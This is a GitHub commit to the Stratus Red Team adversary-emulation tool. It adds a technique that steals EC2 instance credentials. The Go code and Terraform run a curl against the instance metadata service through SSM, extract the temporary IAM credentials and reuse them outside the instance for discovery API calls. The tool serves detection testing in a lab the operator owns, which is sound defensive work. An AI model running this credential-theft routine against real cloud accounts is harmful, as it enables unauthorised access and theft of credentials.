Skip to content

Commit

Permalink
New attack technique: Steal instance credentials from the metadata se…
Browse files Browse the repository at this point in the history
…rvice (closes #20)
  • Loading branch information
christophetd committed Jan 19, 2022
1 parent 6daa322 commit 3b6e935
Show file tree
Hide file tree
Showing 7 changed files with 264 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
# Steal EC2 Instance Credentials

Platform: AWS

## MITRE ATT&CK Tactics


- Credential Access

## Description


Simulates the theft of EC2 instance credentials from the Instance Metadata Service.

Warm-up:Create the pre-requisite EC2 instance and VPC (takes a few minutes).

Detonation:

- Execute a SSM command on the instance to retrieve temporary credentials
- Use these credentials locally (outside the instance) using a few standard discovery commands.


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate aws.credential-access.ec2-instance-credentials
```
2 changes: 2 additions & 0 deletions docs/attack-techniques/AWS/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

- [Retrieve EC2 password data](./aws.credential-access.ec2-get-password-data.md)

- [Steal EC2 Instance Credentials](./aws.credential-access.ec2-instance-credentials.md)


## Defense Evasion

Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ This page contains the list of all Stratus Attack Techniques.
| Name | Platform | MITRE ATT&CK Tactics |
| :----: | :------: | :------------------: |
| [Retrieve EC2 password data](./AWS/aws.credential-access.ec2-get-password-data.md) | [AWS](./AWS/index.md) | Credential Access |
| [Steal EC2 Instance Credentials](./AWS/aws.credential-access.ec2-instance-credentials.md) | [AWS](./AWS/index.md) | Credential Access |
| [Stop a CloudTrail Trail](./AWS/aws.defense-evasion.stop-cloudtrail.md) | [AWS](./AWS/index.md) | Defense Evasion |
| [Remove VPC flow logs](./AWS/aws.defense-evasion.remove-vpc-flow-logs.md) | [AWS](./AWS/index.md) | Defense Evasion |
| [Execute discovery commands on an EC2 instance](./AWS/aws.discovery.basic-enumeration-from-ec2-instance.md) | [AWS](./AWS/index.md) | Discovery |
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
package aws

import (
"context"
_ "embed"
"encoding/json"
"errors"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ssm"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/datadog/stratus-red-team/internal/providers"
"github.com/datadog/stratus-red-team/internal/utils"
"github.com/datadog/stratus-red-team/pkg/stratus"
"github.com/datadog/stratus-red-team/pkg/stratus/mitreattack"
"log"
"time"
)

//go:embed main.tf
var tf []byte

func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.credential-access.ec2-instance-credentials",
FriendlyName: "Steal EC2 Instance Credentials",
Description: `
Simulates the theft of EC2 instance credentials from the Instance Metadata Service.
Warm-up:Create the pre-requisite EC2 instance and VPC (takes a few minutes).
Detonation:
- Execute a SSM command on the instance to retrieve temporary credentials
- Use these credentials locally (outside the instance) using a few standard discovery commands.
`,
Platform: stratus.AWS,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.CredentialAccess},
PrerequisitesTerraformCode: tf,
Detonate: detonate,
})
}

func detonate(params map[string]string) error {
ssmClient := ssm.NewFromConfig(providers.AWS().GetConnection())
instanceId := params["instance_id"]
instanceRoleName := params["instance_role_name"]

command := "curl 169.254.169.254/latest/meta-data/iam/security-credentials/" + instanceRoleName + "/"

log.Println("Running command through SSM on " + instanceId + ": " + command)

result, err := ssmClient.SendCommand(context.Background(), &ssm.SendCommandInput{
DocumentName: aws.String("AWS-RunShellScript"),
InstanceIds: []string{instanceId},
Parameters: map[string][]string{
"commands": []string{command},
},
})
if err != nil {
return errors.New("unable to send SSM command to instance: " + err.Error())
}
commandResult, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.Background(), &ssm.GetCommandInvocationInput{
CommandId: result.Command.CommandId,
InstanceId: &instanceId,
}, 2*time.Minute)

if err != nil {
return errors.New("unable to execute SSM commands on instance: " + err.Error())
}

metadataResponse := map[string]string{}
err = json.Unmarshal([]byte(*commandResult.StandardOutputContent), &metadataResponse)
if err != nil {
return errors.New("unable to parse response from instance metadata " + err.Error())
}

newAwsConnection := utils.AwsConfigFromCredentials(
metadataResponse["AccessKeyId"],
metadataResponse["SecretAccessKey"],
metadataResponse["Token"],
)
newStsClient := sts.NewFromConfig(newAwsConnection)
response, _ := newStsClient.GetCallerIdentity(context.Background(), &sts.GetCallerIdentityInput{})
if response.Arn == nil {
return errors.New("failed to retrieve instance profile credentials (could not run sts:GetCallerIdentity using stolen credentials")
}

log.Println("Successfully stole temporary instance credentials from the instance metadata service")
log.Println("sts:GetCallerIdentity returned " + *response.Arn)
// Make a benign API call (ec2:DescribeInstances) using these credentials
newEc2Client := ec2.NewFromConfig(newAwsConnection)
log.Println("Locally running a benign API call ec2:DescribeInstances using stolen credentials")
_, err = newEc2Client.DescribeInstances(context.Background(), &ec2.DescribeInstancesInput{})

if err != nil {
return errors.New("could not use stolen instance credentials to perform further AWS API calls: " + err.Error())
}
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 3.71.0"
}
}
}
provider "aws" {
skip_region_validation = true
skip_credentials_validation = true
skip_get_ec2_platforms = true
skip_metadata_api_check = true
default_tags {
tags = {
StratusRedTeam = true
}
}
}


data "aws_availability_zones" "available" {
state = "available"
}

module "vpc" {
source = "terraform-aws-modules/vpc/aws"

name = "stratus-red-team-vpc-ec2-credentials"
cidr = "10.0.0.0/16"

azs = [data.aws_availability_zones.available.names[0]]
private_subnets = ["10.0.1.0/24"]
public_subnets = ["10.0.128.0/24"]

map_public_ip_on_launch = false
enable_nat_gateway = true

tags = {
StratusRedTeam = true
}
}

data "aws_ami" "amazon-2" {
most_recent = true

filter {
name = "name"
values = ["amzn2-ami-hvm-*-x86_64-ebs"]
}
owners = ["amazon"]
}

resource "aws_network_interface" "iface" {
subnet_id = module.vpc.private_subnets[0]
private_ips = ["10.0.1.10"]
}
resource "aws_iam_role" "instance-role" {
name = "stratus-ec2-credentials-instance-role"
path = "/"

assume_role_policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Effect": "Allow",
"Sid": ""
}
]
}
EOF
inline_policy {
name = "inline"
policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "ec2:Describe*",
"Resource": "*",
"Effect": "Allow"
}
]
}
EOF
}
}
resource "aws_iam_role_policy_attachment" "rolepolicy" {
role = aws_iam_role.instance-role.name
policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
}
resource "aws_iam_instance_profile" "instance" {
name = "stratus-ec2-credentials-instance"
role = aws_iam_role.instance-role.name
}

resource "aws_instance" "instance" {
ami = data.aws_ami.amazon-2.id
instance_type = "t3.micro"
iam_instance_profile = aws_iam_instance_profile.instance.name
}

output "instance_id" {
value = aws_instance.instance.id
}

output "display" {
value = format("Instance id %s in %s ready", aws_instance.instance.id, data.aws_availability_zones.available.names[0])
}

output "instance_role_name" {
value = aws_iam_role.instance-role.name
}
1 change: 1 addition & 0 deletions internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ package attacktechniques

import (
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/credential-access/ec2-get-password-data"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/credential-access/ec2-instance-credentials"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/defense-evasion/disable-cloudtrail"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/defense-evasion/remove-vpc-flow-logs"
_ "github.com/datadog/stratus-red-team/internal/attacktechniques/aws/discovery/discovery-commands-ec2-instance-role"
Expand Down
15 changes: 15 additions & 0 deletions internal/utils/aws_utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,10 @@ package utils
import (
"context"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/config"
"github.com/aws/aws-sdk-go-v2/credentials"
"github.com/aws/aws-sdk-go-v2/service/sts"
"log"
)

func GetCurrentAccountId(cfg aws.Config) (string, error) {
Expand All @@ -14,3 +17,15 @@ func GetCurrentAccountId(cfg aws.Config) (string, error) {
}
return *result.Account, nil
}

func AwsConfigFromCredentials(accessKeyId string, secretAccessKey string, sessionToken string) aws.Config {
credentialsProvider := config.WithCredentialsProvider(
credentials.NewStaticCredentialsProvider(accessKeyId, secretAccessKey, sessionToken),
)
cfg, err := config.LoadDefaultConfig(context.Background(), credentialsProvider)
if err != nil {
log.Fatalf("unable to load SDK config, %v", err)
}

return cfg
}

0 comments on commit 3b6e935

Please sign in to comment.